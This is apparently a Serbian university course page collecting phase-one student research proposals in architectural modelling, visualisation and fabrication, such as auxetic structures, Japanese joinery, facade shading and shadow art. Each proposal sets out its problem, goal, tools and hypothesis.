Fabrie nudi dosta detaljan render sa nekim nerelanim segmentima, dok Prome AI daje render sličan izgledu makete, Firefly Adobe daje dosta futurističke rezultate dok Visoid daje rezultate slične onima koje možemo očekivati u Coroni ili Lumionu, a Midjourney daje rezultate pomoću zadatog teksta.

172616output_0da7bd97ca9cd42819a7686ec8dd337d0612582ec

Problem:

Problem predstavlja to što je potrebno uraditi identičan render istog objekta u Coroni i u nekom od AI softvera, potrebno je uskladiti osvetljenje, ugao, teksture, detaljnost da bi se mogli uporediti.

Cilj i kriterijum:

Cilj je doći do sličnih rezultata renderovanja na ova dva načina i uporediti ih po kvalitetu, realističnosti, detaljnosti i vremenu utrošenom da se oni izrade.

Primenjeni alati i metode:

3ds max, Sketchup, Corona, AI softvers

Hipoteza:

Pretpostavka je da se uz dobro poznavanje AI tehnologije može brže doći do dosta dobrih rezultata renderovanja.

 

 

Anamorfna fasada- modelovanje i vizualizacija

  • Oblast istraživanja: modelovanje i vizualizacija fasade
  • Tema i predmet istraživanja: Projektovanje senke parametarske geometrije na fasadu pomocu jednog ili više izvora svetlosti.
  • Stanje u oblasti: U oblasti postoje statični 3D bilbordi koji koriste materijale kao što su plastika, metal, drvo… kako bi se postigao trodimenzionalni efekat padom svetlosti i formiranjem senke. Takođe, u oblasti ima dosta istrazivanja u okviru vizuelne umetnosti po istom principu.

1122 inspiracija

 

  • Cilj: Unapređenje jednostavne fasade vizuelnim efektima svetlosti. Postavljanje istih geometrijskih oblika duž fasade koji bi varirali po dužini u cilju postizanja senke tj. konture izabrane slike prilikom pada svetlosti na geometriju koja izlazi iz ravni fasade. Pojedini elementi fasade ne bi koristili samo za stvaranje senke, već i za emitovanje svetlosti, kako bi fasada ako ne formnira primarnu siluetu i dalje zadrzala zanimljiv vizuelni efekat.

Screenshot 2024-03-30 143158 skica ideje

  • Primenjeni alati i metode: 3DS MAX
  • Hipoteza: Moguće je na fasadi stvoriti jasnu senku gradjenu u slojevima pomoću osvetljenja sa različitih strana, i generalno napraviti estetski privlačan dizajn na  “dosadnoj” fasadi u Novom Sadu.

 

https://theinspirationgrid.com/amazing-light-shadow-art-by-kumi-yamashita/

https://oneday.agency/blog/how-do-3d-digital-billboards-work

 

Modelovanje i fabrikacija drvenih konstrukcija pomuću “japanese joinery”-a na brži i moderniji način – faza 1

OBLAST: Modelovanje i fabrikacija

PREDMET I TEMA: Primena “japanese joinery”-a u izradi modela na brži “evropski” način, koji odlikuje brža gradnja, ali gde nema koncepta uklapanja kao u Japanu.

STANJE U OBLASTI: Ova oblast je dugo vremena bila tajna koju su čuvale japanske zanatlije, ali danas imamo dosta informacija o ovom zanatu. Vrlo je popularan zbog svog estetskog izgleda gde se ne koriste nikakvi ekseri ili srafovi, korišćenja prirodnog materijala i dugotrajnosti.

PROBLEM: Glavni problem sa “japanese joinery”-em je što izrada delova koji se uklapaju zahteva dosta vremena, što je dosta u duhu japanske kulture, sa druge strane evropska kultura zahteva brzu izradu.

CILJ: Pronalaženje načina izrade “japanese joinery”-a za što kraće vreme.

KRITERIJUM: Vreme izrade i broj različitih segmenata

PRIMENJENI ALATI I METODE: Rhino i fabrikacija

HIPOTEZA: Moguće je koristiti se “japanese joinery”-em bez primene tradicionalne zanatske izrade

21

https://swarch.co.uk/journal/brief-study-japanese-joinery/

Explore the Exquisite Japanese Wood Joinery Along With 10 Astounding Examples of It

 

 

Modelovanje auxetic navlaka za torbe i /ili rančeve sa ciljem adaptiranja na različite oblike i zapremine istih

Oblast istraživanja: Auxetic materijali su poznati po svojim karakterističnim mehaničkim performansama, nudeći fleksibilnost i adaptibilnost forme na različitim površinama, bilo zakrivljenih ili planarnih.

Tema: modelovanje navlake od auxetic materijala za torbe i/ ili rančeve.

Stanje u oblasti: Pronađen je jedan primer u pomenutoj oblasti, pri čemu je sam auxetički materijal neraskidivo povezan sa celom torbom, onemogućavajući adaptaciju na druge torbe ili rančeve.

Problem: Korisnici  su vrlo često ograničeni prostorom u rancu i/ ili torbi. Usled ovog nedostatka, korisnici se nalaze pred izborom šta od neophodnih predmeta da izbace. Pored toga, komercijalni rančevi i/ili torbe su uglavnom nepoverljivi kada je bezbednost predmeta unutar istih u pitanju.

Da li bi formiranje navlake primenom auxetic materijala rešio problem prostora i bezbenosti ličnih predmeta, pa i samog korisnika? Koji patern pomenutih materijala bi najefikasniji bio za rešavanje ova dva problema?

Cilj: Formiranje navlake primenom Auxetic metode i ispitivanje njene efikasnosti.

Metoda: korišćenjem Rhino i Grasshopper programa ili 3ds Max programa, formiraćemo  patern auxetic materijala, i na torbama/ rančevima različitih oblika proveriti da li je izabrani patern i sam pristup, efikasan za rešavanje pomenutog problema.

Hipoteza: Moguće je formiranje navlaka koja će bez bilo kakvih prepreka prijanjati na torbe različitih oblika i adaptirati se istim povećanjem količine predmeta stavljenih u torbu/ ranac.

RANAC
https://parametrichouse.com/phoresy-pack/
RANAC2A
https://parametrichouse.com/phoresy-pack/

 

 

 

Parametarsko modelovanje fasadnih brisoleja

TEMA
Ispitivanje osunčanosti unutrašnjeg prostora primenom fiksnih brisoleja

Opis: Cilj projekta je omogućiti najbolju moguću raspodelu brisoleja na fasadi Radničkog Univerziteta u Novom Sadu i postići dovoljnu količinu svetlosti u enterijeru uz što manja zagrevanja prostora i utroška energije na električno hlađenje prostora. Prvi deo ispitivanja sastoji se od analize osunčanosti trenutnog stanja objekta pomoću funkcije ladybug u grasshopperu. Nakon toga na osnovu dobijenih podataka potrebno je optimizovati dimenzije, količinu, oblik i materijal brisoleja da bi se smanjilo prosečno zagrevanje prostora dovoljnim osvetljavanjem

HIPOTEZA
Upoređivanje odnosa efikasnosti i cene fiksnih brisoleja

PRIMENJENI ALATI I METODE
Rhino + Grasshopper

fasada1 FASADA2

Reference:

https://www.google.com/url?sa=i&url=https%3A%2F%2Fwww.solinear.co.uk%2Ffive-award-winning-buildings-with-solar-shading%2F&psig=AOvVaw2XrSjxbR227exPRhCFNxk9&ust=1711889676812000&source=images&cd=vfe&opi=89978449&ved=0CBIQjhxqFwoTCOC2r7GGnIUDFQAAAAAdAAAAABAc

https://www.google.com/url?sa=i&url=https%3A%2F%2Fnzeb.in%2Fknowledge-centre%2Fpassive-design%2Fshading%2Fshading-devices%2F&psig=AOvVaw1mB3GEW5OX1GRs1fjLIdXZ&ust=1711889866872000&source=images&cd=vfe&opi=89978449&ved=0CBIQjhxqFwoTCIjirYiHnIUDFQAAAAAdAAAAABAD

Dovođenje svetlosti objektu kojem drugi objekat blokira svetlost

TEMA:

q centarIQ-zgrada-pametna-energetska-efikasnost-2

Ispitivanje osunčanosti izgrađenog dela Novog Sada na lokaciji Sajmište, ugao Rumenačke i Bulevara Kralja Petra. Analiza projektovanog IQ centra i uočavanje skoro potpunog zaklanjanja svetlosti objektu iza.

PROBLEM:
Zgrada na parceli iza IQ Centra u Novom Sadu ne dobija sunčevu svetlost jer je novoprojektovani objekat blokira.

CILJ :

Unaprediti uslove za život stanarima u objektu iza IQ centra dovođenjem svetlosti pomoću sfernog sočiva, uz minimalne izmene izgleda objekta.

PRIMENJENI ALATI I METODE:
3dsMax, Sketchup + Vray

HIPOTEZA:
Oblik i blizina projektovane zgrade utiče na količinu svetlosti koju dobijaju zgrade u neposrednoj sredini. Da li je moguće rešiti problem, uz minimalne modifikacije, bez narušavanja izgleda i rušenja zgrade? Da li postavljanjem odredjenog oblika sočiva mogu da se prelome svetlosni zraci tako da osunčaju objekat i u kojoj meri?

SLIČNI PRIMERI:

Upotreba reflektivnih ogledala za osvetljavanje prostora pod senkom, proizvođač “Espaciel” koji na tržištu nudi gotove proizvode.

Shading-by-neighbouring-buildings (2)espaciel-2-282x300espaciel-286x300

Reference:
https://www.researchgate.net/publication/266167918_SHADING_PASSIVE_COOLING_AND_ENERGY_CONSERVATION_IN_BUILDINGS

Dron reportaža: IQ Biznis i Panorama Centar u Novom Sadu

Pametne, energetski efikasne, zgrade Novog Sada

https://www.espaciel.com/en/

Uporedna analiza parametara kamere u stvarnosti i fizičke kamere ( Physical camera ) u 3Ds Max-u

OBLAST– Arhitektonska vizualizacija i fotografija

TEMA– Poklapanje parametara stvarne i virtuelne kamere

PREDMET– Upoređivanje fotorealnog rendera i fotografije makete

STANJE U OBLASTI– Mater rad, Miroslava Milutinović, UPOREDNA ANALIZA PARAMETARA VEŠTAČKOG SVETLA I KAMERE NA FOTOGRAFIJI I RENDERU ENTERIJERA, FTN, Novi Sad, 2019.

2

Render scene sa sijalicom sa zadatom jačinom svetlosti 560 lm, temperature boje 4000 K

1

Fotografija scene sa sijalicom jačine 560 lm/ 7 W, temperature boje 4000 K

*Zaključak: Na ovom studiu slučaja, uočeno je da identično podešavanje kamere i osvetljenja u stvarnosti i programu neće dovesti do željenog rezultata.

https://forums.cgarchitect.com/topic/73540-real-camera-simulation-using-vrayphysicalcamera/ , pristupljeno 30.3.2024.

PROBLEM–  Nepoklapanje rendera i fotografija u odnosu na parametre kamere. Da li ce biti potrebno dodatno podesavati parametre u programu, kako bi dobijen rezultat bio potpuno fotorealistican?

CILJ– Pronaći način i tehniku da su parametri  podešeni tako da renderom bude postignut fotorealizam.

KRITERIJUM– Podesiti parametre kamere i svetla, raditi na teksturama, bojama i oštećenjima digitalne makete tako da scena bude fotorealističnija.

PRIMENJENI ALATI I METODE– Tri close up scene makete fotografisati pod određenim osvetljenjem i izraditi digitalnu repliku makete sa teksturama, oštećenjima… Pronaći iste kadrove ( scene ) u programu i podesiti kameru i osvetljenje prema istim parametrima iz stvarnosti. Ukoliko je potrtebno, dodatno podesiti parametre, tako da se postigne što realističniji render. Finalne proizvode izložiti u anketi, uraditi analizu i grafikone uspešnosti predmeta na osnovu reakcija ljudi.

HIPOTEZA– Moguce je postići fotorealistican detalj ( close up ) makete, tako da ispitanici ne mogu da razaznaju sta je prava fotografija.

 

625-01749092 An architectural model detail

Modelovanje i ispitivanje adaptibilnosti i funkcionalnosti stress release predmeta primenom auxetic strukture

Stress release predmeti su dizajnirani da pomognu ljudima u smanjenju stresa i anksioznosti. Ovi predmeti se često koriste za fizičku manipulaciju, kao što su gnječenje, stiskanje ili savijanje, kako bi pružili osećaj olakšanja. Neki od primera su antistres loptice, fidget spinneri, prstenovi za gnječenje i slični predmeti. Njihova funkcija se bazira na činjenici da fizička aktivnost može pomoći u smanjenju mentalnog stresa, poboljšanju koncentracije i podsticanju osećaja smirenosti.

Auxetic materijali su posebni materijali ili strukture koje se šire u više pravaca kada su izloženi istezanju ili kompresiji, suprotno od većine konvencionalnih materijala koji se sužavaju u poprečnim pravcima pod istim uslovima.

Primer auxetic materijala

Oblast – Modelovanje i fabrikacija

Tema – Modelovanje i fabrikacija stress release predmeta, primenom auxetic materijala

Stanje u oblasti – Primena auxetic materijala u modelovanju stress release predmeta predstavlja novu i inovativnu oblast istraživanja. Iako su značajna istraživanja fokusirana na mehanička svojstva ovih materijala, njihova upotreba u dizajnu stress release predmeta tek počinje da privlači pažnju. Postoje odredjena istraživanja koja kod nekih modela, nastalih tokom kreativnog procesa, pokazuju potencijal za generisanje auxetic stress release predmeta.

Primer1      Primer2

Inspiracija je takvo istraživanje – istraživanje dizajna kacige sa auxetic svojstvima.

https://meric.works/HELMETIC

U procesu rada se mogu uočiti strukture koje mogu biti idealne za primenu kod stress release predemeta.
Primer3

 

https://mbl.itu.edu.tr/mbl-549-2020-2021-auxetic-metamaterials/

Kriterijumi za uspeh

  • Formiranje stabilnog i funkcionalnog modela
  • Fleksibilnost i prilagodljivost dizajna
  • Materijalna efikasnost
  • Satisfakcija korisnika

Cilj: Istraživanje različitih načina primene auxetic materijala i ispitivanje potencijalnih pristupa modelovanju stress release predmeta.

Hipoteza: Moguće je razviti različita rešenja stress release predmeta primenom auxetic materijala, koristeći različite auxetic šablone za formiranje 3D modela.

 

 

Kreiranje i ispitivanje potencijalnih varijacija izrade 3D LIGHT BOX-a kao slojevite slike grada upotrebom Photoshop-a i ručnom izradom.

Pretraživajući različite izvore zaključuje se da je oblast bogata sličnim primjerima – ali je ograničen odabir mogućih varijacija. Odnos cijene i kvaliteta, kao i dužina trajanja izrade/dostave takođe mogu da predstavljaju problem.
Cilj rada je ispitati da li je moguće i da li je isplativo samostalno izraditi predmet koji je jeftiniji od tržišne cijene? Da li će problem predstavljati “razlika” u kvalitetu? DA li je moguće osmisliti strategiju za brze promjene i lako stvaranje varijacija?

https://www.printables.com/model/623457-london-city-lightbox
https://www.printables.com/model/623457-london-city-lightbox
https://supplyleader.com/product/MIAOLLUN-3D-Paper-Carving-Lamp-Papercut-Light-Boxes-Art-Decoration-Shadow-Box-Led-Light-Gift-Shadow-Night-Light-for-Home-Bedroom-BedsideD/B09WVB5JCS
https://supplyleader.com/product/MIAOLLUN-3D-Paper-Carving-Lamp-Papercut-Light-Boxes-Art-Decoration-Shadow-Box-Led-Light-Gift-Shadow-Night-Light-for-Home-Bedroom-BedsideD/B09WVB5JCS

Neophodna je vizualizacija, kreiranje i ispitivanje moguće varijacije izrade predmeta npr.  upotrebom različitih slojeva sječenog papira – koji će u zavisnosti od jačine i boje pozadinskog svjetla, broja slojeva, kao i debljine papira davati različite finalne rezultate.

Varijacije bi se ticale promjena glavnih karakteristika (vidljivih u prvom planu), tako da bi se npr. kod višeslojnog BOX-a promijenili prvi slojevi (dok bi ostali mogli ostati isti) i samim tim bi se stvorila nova varijanta – ali i ubrzala izrada novog modela jer nije neeophodno modelovanje i stvaranje baš svakog sloja.

Na linku ( https://tdesign510.com/how-to-make-1-sided-paper-cut-light-box/  ) moguće je uočiti neophodne korake i način izrade LIGHT BOX-a.

Problem pri kreiranju bi mogla biti podjela željene panorame grada u slojeve  i njihovo raspoređivanje, zarad dobijanja “dubine” prostora, i zarad samog isticanja određenih karakteristika

HIPOTEZA: Ako se koristi prikazana inspiracija i pomenuti metod izrade moguće je i isplativo je  izraditi  predmet.

Vizualizacija portreta String artom

Oblast istraživanja – String art- vrsta umjetnosti gdje se povezuju niti koje su nanizane između određenih tačaka sa ciljem stvaranja konkretnog reprezentativnog dizajna, u ovom slučaju portreta.

Problem – u praksi se koristi veliki broj eksera, i samim tim se potroši jako puno vremena kako bi se dobio kvalitetan rad.

Cilj – pokušaj korišćenja što manje eksera i niti, ali sa uspješnim prepoznavanjem ličnosti.  ”less is more” – manje niti, bolje prepoznavanje

Metoda – izabrati poznatu ličnost čiji portret odrađujemo, zatim oblik i dimenzije podloge, kao i broj eksera koje ćemo koristiti i postavljati na najkarakerističnijim mjestima, gdje će biti najveća gustina, kako bi se na uspješan način prikazala ličnost.

Hipoteza – Smatram  da na ovaj način možemo uštedjeti na vremenu i količini materijala  koje koristimo i da uspješno možemo doći do cilja, odnosno izrade portreta i prepoznavanja ličnosti.

Screenshot 2024-03-29 200442

fotografija: primjena ove metode na portretu Frenk Lojd Rajta

Reference: https://www.youtube.com/watch?v=X4FUkcDMNI4&t=36s

Modelovanje integrisane zidne lampe, inspirisane srpskom sakralnom arhitekturom, u 3ds Max-u, sa fokusom na izradu detalja, elementa urušenog zida-Faza1

Ovo istraživanje bavi se modelovanjem integrisanih zidnih lampi inspirisanih srpskom sakralnom arhitekturom, sa fokusom na modelovanju urušenih zidova u 3ds Max-u.

Glavni cilj je utvrđivanje najefikasnijeg i najkvalitetnijeg načina modelovanja urušenih zidova, odranjanja kamena, uz pomoć softvera 3DsMax, tako da se prilikom ugradnje lampa „stopi“ sa zidom i da podseća na ulaz u pećinu.

Problemi na koje nailazimo su sporija izrada, u vidu modelovanja, zbog kompleksnosti kompozicije i detaljnosti same lampe, kao i komplikovana ugradnja, integracija lampe u zid.Na osnovu toga donosi se zaključak da su glavni kriterijumi  vreme (efikasnost izrade) i kvalitet (detaljnost, realističnost i sličnost, urušenog zida referentnim fotografijama).

Stanje u oblasti:

Tip proizvoda je ugradna zidna lampa, za koju je neophodno prethodno izbušiti rupu u zidu. Namenjena je za korišćenje u unutrašnjosti kuće, i ima već ugrađenu led lampu sa žicom kao izvorom napajanja.

Oblast izrade integrisanih zidnih lampi nije dovoljno dobro istražena, pa samim tim nema mnogo tutorijala i informacionog teksta. Pronađene su jedino fotografije gotovog proizvoda.

Linkovi: pristupljeno 29.03.2024.

  1. https://lightingshe.com/products/felicie-recessed-wall-lamp-3-style
  2. https://www.instagram.com/p/Cy2YdtbLOwr/
  3. https://aldawhomes.com/ar/products/stairway-carved-wall-light
  4. https://thelightzey.com/products/felicie-recessed-wall-lamp-3-style

„This sculpture lamp is a carefully crafted sculpture that becomes an integral part of your wall, emanating stories and tradition through its design.„

„Made of high quality plaster, it is durable and has a good delicate texture“

stanje

 

Hipoteza:

Pomoću softvera 3dsMax, primenom određenih alatki i proboolean operacija, moguće je kvalitetno i efikasno izmodelovati novu verziju lampe,u vidu srpskih manastira, koja izgleda kao da proizilazi iz zida zahvaljujući elementima, detaljima urušenog zida.

Istraživanje auxetic materijala: Analiza transformacije bistabilnog heksagonalnog šablona, FAZA 1 – Osnove istraživanja

Predmet: Auxetic materijali

Tema: Bistabilni heksagonalni auxetic šablon i njegova 3D transformacija

Šta su auxetic materijali?

Auxetic materijali su specijalni tip materijala koji, za razliku od većine konvencionalnih materijala, povećavaju svoju poprečnu dimenziju kada se rastegnu i smanjuju je kada se sabiju. Ova neobična osobina daje im jedinstvene mehaničke karakteristike, poput povećane otpornosti na probijanje, bolje apsorpcije energije i visoke fleksibilnosti, što ih čini korisnim za primene u oblastima kao što su medicinski uređaji, zaštitna oprema, građevinarstvo, arhitektura i mnoge druge oblasti inženjeringa.

Steve Mould_bistable auxetic_0

Inspiracija za rad: https://www.youtube.com/watch?v=vrOjy-v5JgQ&t=314s

Inspiracija za ovo istraživanje je video Steve Mould-a koji prikazuje kako varijacija određenih parametara u heksagonalnom bistabilnom auxetic šablonu može izazvati 3D transformaciju u obliku kupole.

Steve Mould_bistable auxetic_flat_0

 

Steve Mould_parametars explained_0

Problemi koji postoje:

  • Složenost dizajniranja šablona koji može prelaziti u 3D formu
  • Održavanje strukturalnog integriteta prilikom širenja šablona
  • Pronalaženje optimalne dužine zglobova kako bi se izbeglo cepanje materijala

Cilj istraživanja:

Cilj ovog istraživanja je dobijanje potrebnog šablona primenom algoritamskog modelovanja (Rhinoceros 3D + Grasshopper) i istraživanje uticaja dužine t i ugla θ (theta) na širenje auxetic šablona, kao i identifikacija optimalne konfiguracije koja omogućava 3D transformaciju bez oštećenja materijala.

 

Kriterijumi za uspeh:

  • Uspešna 3D transformacija šablona bez cepanja materijala
  • Stabilnost strukture u 3D formi
  • Optimalne dimenzije elemenata koje omogućavaju lako širenje šablona

Hipoteza:

Varijacijom dužine t i ugla theta moguće je postići stabilnu 3D transformaciju bistabilnog auxetic šablona bez cepanja materijala, uz optimalnu dužinu zglobova.

 

LAYERED ART (LAYERED DRAWINGS) – Faza 1

MRed Pepper

 

OBLAST – Modelovanje I vizuelizacija umetničkih instalacija

TEMA – Stvaranje slike pomoću lejera

PREDMET – Instalacija

STANJE U OBLASTI – Stvoriti novu sliku na akrilnim pločama i inkorporirati veštačko osvetljenje

CILJ – Cilj istraživanja je da se uzme konkretna slika koja bi se analizirala i onda podelila po „lejerima” I pojedinačno svaki deo naslikao na jednoj akrilnoj ploči tako da se na kraju dobije jedna uniformisana slika.

PROBLEM – Postoje dva problema. Prvi je način slaganja pločica. Svaki lejer ima svoje tačno mesto postavljanja i on se mora poštovati jer finalni produkt neće ispasti kako treba. Drugi problem je da postoji samo jedan ugao sagledavanja slike, spreda. Ukoliko se sagledava iz različitih uglova ne dobija se efekat 3d slike.

HIPOTEZA – za najjednostavnije ovakve slike nije potrebno znanje programa

Modelovanje slagalica na osnovu Hilbertove krive (Fractal Puzzles) – faza 1

Oblast: Modelovanje i fabrikacija

Tema: Modelovanje slagalice

Predmet: Fractal Puzzles na osnovu Hilbertove krive

hilbert curves
Stanje u oblasti: Postoje različite vrste krivih koje mogu da se generišu u slagalicu i da njihova putanja bude vodilja za delove slagalice

Problem: Pronaći patern i adekvatan pristup po kojem se kriva menja i multiplicira, kao i kako će izgledati pojedinačni delovi slagalice

Cilj: Proizvesti nekoliko različitih delova slagalice koji mogu da se međusobno spajaju, ali da se za svaki zna na koje mesto ide

Kriterijum: Spajanje delova slagalice tako da se oni prilikom pomeranja ne razdvoje

Primenjeni alati i metode: Generisanje Hilbertove krive koja će biti vodilja za oblik delova slagalice

Hipoteza: Da li se mogu napraviti delovi slagalice tako da se svi međusobno spajaju? Da li se može napraviti neki kriterijum (slika ili šrafura) po kojem će se znati koji deo slagalice stoji na kom mestu? Kakva bi bila težina slaganja ovakve slagalice, bez slike?

 

images

 

Kreiranje 3D scene izvedene iz 2D slike na što jednostavniji način – faza 1

Oblast:  vizualizacija i modelovanje

Predmet: 3D scena

Tema: kreiranje jednostavne 3D scene korišćenjem 2D slike


Screenshot 2024-03-29 193149

Stanje u oblasti: za sličan ishod obično se koriste displacement mape kako bi se stvorila iluzija dubine prostora

Problem: korišćenjem displacement mape scena ne izgleda dovoljno trodimenzionalno, a 3D modelovanje zahteva previše vremena

Cilj: dobijanje jednostavne 3D scene koja ne zahteva puno vremena;


Kriterijum:  scena daje utisak 3D prostora;

Metoda: modifikovanje 2D slike iz Photoshop-a koristeći Blender, izvlačenjem ravni i dodavanjem dodatnih radi stvaranja 3D scene;

Hipoteza: Koliko lako je moguće kreirati iluziju trodimenzionalnosti iz 2D slike?

 

 

 

 

 

 

 

Reprodukcija scene/zgrade/osobe iz stvarnog života u stilu serije Arcane korišćenjem programa Adobe Photoshop – Faza1

OBLAST: Vizualizacija

TEMA: Reprodukcija predmeta/zgrade/osobe iz stvarnog života u stilu serije Arcane.

STANJE U OBLASTI: Ne postoji mnogo produkata uradjenih iz ove konkretne oblasti prenošenja stila serije Arcane na stvarnu arhitekturu i ljude.

PROBLEM: Nedostatak jasnih smernica za uspešno prenošenje stila serije Arcane na digitalno slikarstvo kao i nedostatak profesionalnog znanja o digitalnom slikarstvu tako visokog kvaliteta kao što je ova serija i manjak kvalitetne opreme za isto.

CILJ: Kreirati animirane scene/crteže inspirisane Arcane artom od scene/zgrade/osobe iz stvarnog života.

KRITERIJUM: Kreirati nove scene koje delimično ili potpuno uspešno prenose estetiku i atmosferu serije Arcane kao i osećaj animiranog crteža stvorenog od stvari iz realnog života.

PRIMENJENI ALATI I METODE: Eksperimentisanje sa bojama, osvetljenjem i teksturama serije Arcane kao i korišćenje alata iz programa kao što su Blender, Clip Studio Paint i Photoshop.

HIPOTEZA: Moguće je dobiti dobar i zanimljiv rezultat proučavajući stil serije Arcane uz pomoć alata iz gore navedenih programa.

3 4

Modelovanje i fabrikacija stolice koristeći japanese wood joinery u cilju poboljšanja modela klasično izradjene stolice- faza 1

 

OBLAST: Modelovanje i fabrikacija

PREDMET: Drvena stolica

TEMA: Primena japanese wood joinery u cilju poboljšanja modela klasično izradjene stolice.

STANJE U OBLASTI: Oblast je dobro istražena i proučena. Ovu oblast odlikuje: 1) laka reciklaža zbog nedostatka lepka, 2) estetska vrednost zbog mogućnosti dobijanja zanimljivog dizajna pomoću različitih vrsta zglobova, 3) ima dobar kvalitet i trajnost.
Ovakva vrsta izrade nameštaja u poslednje vreme dobija na značaju i u drugim delovima sveta i zbog toga je veoma bitno istražiti kako se ona primenjuje.

PROBLEM: Za nameštaj šire rasprostranjene ( klasicne) izrade se koristi lepak, kao i gvozdeni šrafovi koji mogu dovesti do ostećenja drveta zbog korozije

CILJ: a- Modelovanje stolice sa običnim i japanskim drvenim zglobovima.
b- Fabrikacija prototipa stolice sa japanskim drvenim zglobovima pomoću lasera ili 3d štampe bez vidljivih spojeva.

KRITERIJUM: Napraviti prototip stolice 3d štampom ili laserskim sečenjem bez vidljivih spojeva.

PRIMENJENI ALATI I METODE: Rhino + fabrikacija

HIPOTEZA: Na osnovu japanske tradicionalne metode obrade i spajanja drveta, fabrikacija prototipa stolice je moguća uz adekvatan odabir materijala i metodu fabrikacije.

tsugite-joinery-software-1tsugite-japanese-joinery-software-7-e1618853982598

 

 

Dijagram oblasti istraživanja::lalalallal

STRING ART—MODELOVANJE I GEMOTERIJA—

STRING ARTMODELOVANJE I GEMOTERIJA

Oblast string arta je poslednjih godina uzela maha, do sada se uglavnom primenjivala u 2D-u. 3D string art je manje istražen, pokušaćemo da oblikujemo geomterijska tela u prostoru. Kombinacija razlicitih metoda vezivanja i spajanje niti cemo pokušati da dobijemo različite gemetrijske oblike.

MATERIJALI:

1. DRVO-KONSTRUKCIJA

2. STRUNA-MREŽA

3. ŠIPKE/EKSERI- KONBSTRUKCIJA

4. LEPAK

PRIMERI:

61webS2tETL._AC_SY606_ images

KONSTRUKCIJA:

Pretpostavka da konstrukcaija može biti spoljašnja, kombinovana i unutrašnja.

Primeri konstrukcije:

Screenshot 2024-03-29 201343spoljašnja                                     kombinovana                            unutrašnja

Spoljašnja: 3D konstrukcija sadrži spoljašnju opnu za koju se vezuje nit i stvara 3D prikaz string arta

Kombinova: “kombinovana” konstrukcija sadrži konstrukciju unutar konstrrukcije, koja bi medjusobno funkicionisala, tako što bi se nit vezvila i spajala izemdju njih.

Unutrašnja: unutrašnja konstrukcija predstavlja konstrukciju koja bi bila geometrijsko telo na koje se dodaju odredjeni segmenti za povezivanje

Zaključak: Istraživanjem različitih kombinacija konstrukcije, došao sam do zaključka da se kombinovana konstrukcija može najbolje iskoristiti u ovom vidu modelovanja i dolaženja do željene forme

MATERIJALIZACIJA KONSTRUKCIJE:

Konstrukcija treba da bude stabilna, materijal za izradu ne treba biti previse savitljiv.

  • DRVO

  • METAL

  • PLASTIKA

  • ALUMINIUM

    Zaključak: Najbolji materijal za izradu ovake geometrije jeste plastika, dovljno je kruta, ali ima minmalnu elastičnost, koji će joj doprineti za dobijanje određene forme.

NAČIN SPAJANJA NITI:

51b4bbb1c89f7eb654505d71c5ff214evezivanje mora biti ograničeno, oblik koji se stvara u   prostoru mora biti ograničen ivicama (kontura).Konturu  prethodno postaviti, pa unutar nje  stvarati oblik koji treba da se nalazi u prostoru

PROBLEM:

Problem nastaje usled stvaranje konture u 3D prostoru. Na koji način povezati nit I stvoriti stabilnu konturu, koju možemo da iskoristimo za dobijeanje određene geometrijske figure pomoću string arta.

CILJ: stvoriti geometrijski oblik unutar string arta

Faza 1 – Modelovanje hidroponskog sistema primenom teselacije

Faza 1 – Modelovanje hidroponske fasade primenom teselacije

  • Oblast – modelovanje i fabrikacija
  • Predmet – fasada
  • Tema – modelovanje hidroponske fasade primenom tesalacije
  • Hidroponska fasada je poseban način gajenja biljaka na vertikalnim ili horizontalnim površinama. Umesto zemljišta, biljke se ovde uzgajaju u posebnim kontejnerima ili modulima koji sadrže vodu. Biljke hranljive mineralne materije crpe iz vode koja pomoću pumpe kruži u postavljenom sistemu i daje im sve potrebne supstance i supstrate za razvoj. Ovakvom kultivacijom mogu se postići visoki prinosi. Jedna od glavnih prednosti hidroponike je što se ovaj metod može koristiti u malim i velikim prostorima. Ljudi koji nemaju veliki prostor, poput onih koji žive u stanovima ili onih koji nemaju baštu, mogu uspešno da koriste hidroponiku za uzgoj biljaka.
Screenshot_10
horizontalni hidroponski sistem https://grohogarden.com/products/horizontal-garden-60-plants
Classical-Vertical-Hydroponic-Tower-Lyine-t
vertikalni hidroponski sistem https://furrloveov.best/product_details/9066616.html
prikaz hydroskin fasade https://hickokcole.com/whats-next/research/hydroskin/
prikaz hydroskin fasade
https://hickokcole.com/whats-next/research/hydroskin/

 

  • Problemi koji postoje :Generalno hidroponski sistemi imaju neatraktivan dizajn što je slučaj i kod gore navedene hidroponske fasade. Kod nje su takođe otvori za biljke nasumično odabranih dimenzija, preveliki u odnosu na biljke, te prostor i materijal nisu optimalno iskorišćeni. Mnoge vrste biljaka zahtevaju parcijalan hlad, a kod navedenog primera se o tome nije vodilo računa.Problem kod hidroponskih fasada čini i odabir najotpimalnijeg puta slivanja vode koji utiče na to da li će se voda efikasno slivati na dole i adekvatno navodnjavati svaku biljku ili će se negde zadržavati u cevima.Visoka cena izrade hidroponskih sistema takođe predstavlja prepreku.
  • Kako bismo rešili ove probleme, odlučili smo da posao podelimo na dva dela. Ja sam odabrala da se bavim rešavanjem dizajna panela.
  • Cilj –Napraviti modularne panele koji će smanjiti cenu izrade hidroponske fasade. Poboljšati estetiku hidroponske fasade. Napraviti algoritam za izradu fasade koji može da menja broj i varijatne otvora za biljke.
  • Kriterijum -Paneli moraju biti modularni,biljke moraju imati dovoljno prostora za rast, određene biljke moraju imati nadstrešnicu.
  • Hipoteza – Primenom našeg metoda dobićemo fasadu čija je izrada modularna i jeftinija.

Modelovanje i fabrikacija 3d objekta koji u zavisnosti od ugla osvetljenja projektuje različite senke/slike

the-shadow-cloud-e1489139764274

U oblasti koja obuhvata štampanje 3d objekata mogu se izraditi najrazličitiji oblici koji poseduju mnoge osobine kao što je npr. bacanje određenih senki pri interakciji sa osvetljenjem postavljenim pod odgovarajućim uglovima. Ovako dobijene slike su zapravo skrivene u nekom predmetu kao što je u ovom slučaju kocka. Kocka je pogodna za projektovanje više različitih slika jer ima više strana, a takođe je i pogodan oblik za modelovanje i fabrikaciju. Ovakvim tipom projekata su se bavili švajcarski dizajneri DRZACH i SUCHY koji su uradili nekoliko vrsta “Shadow Cloud” struktura.

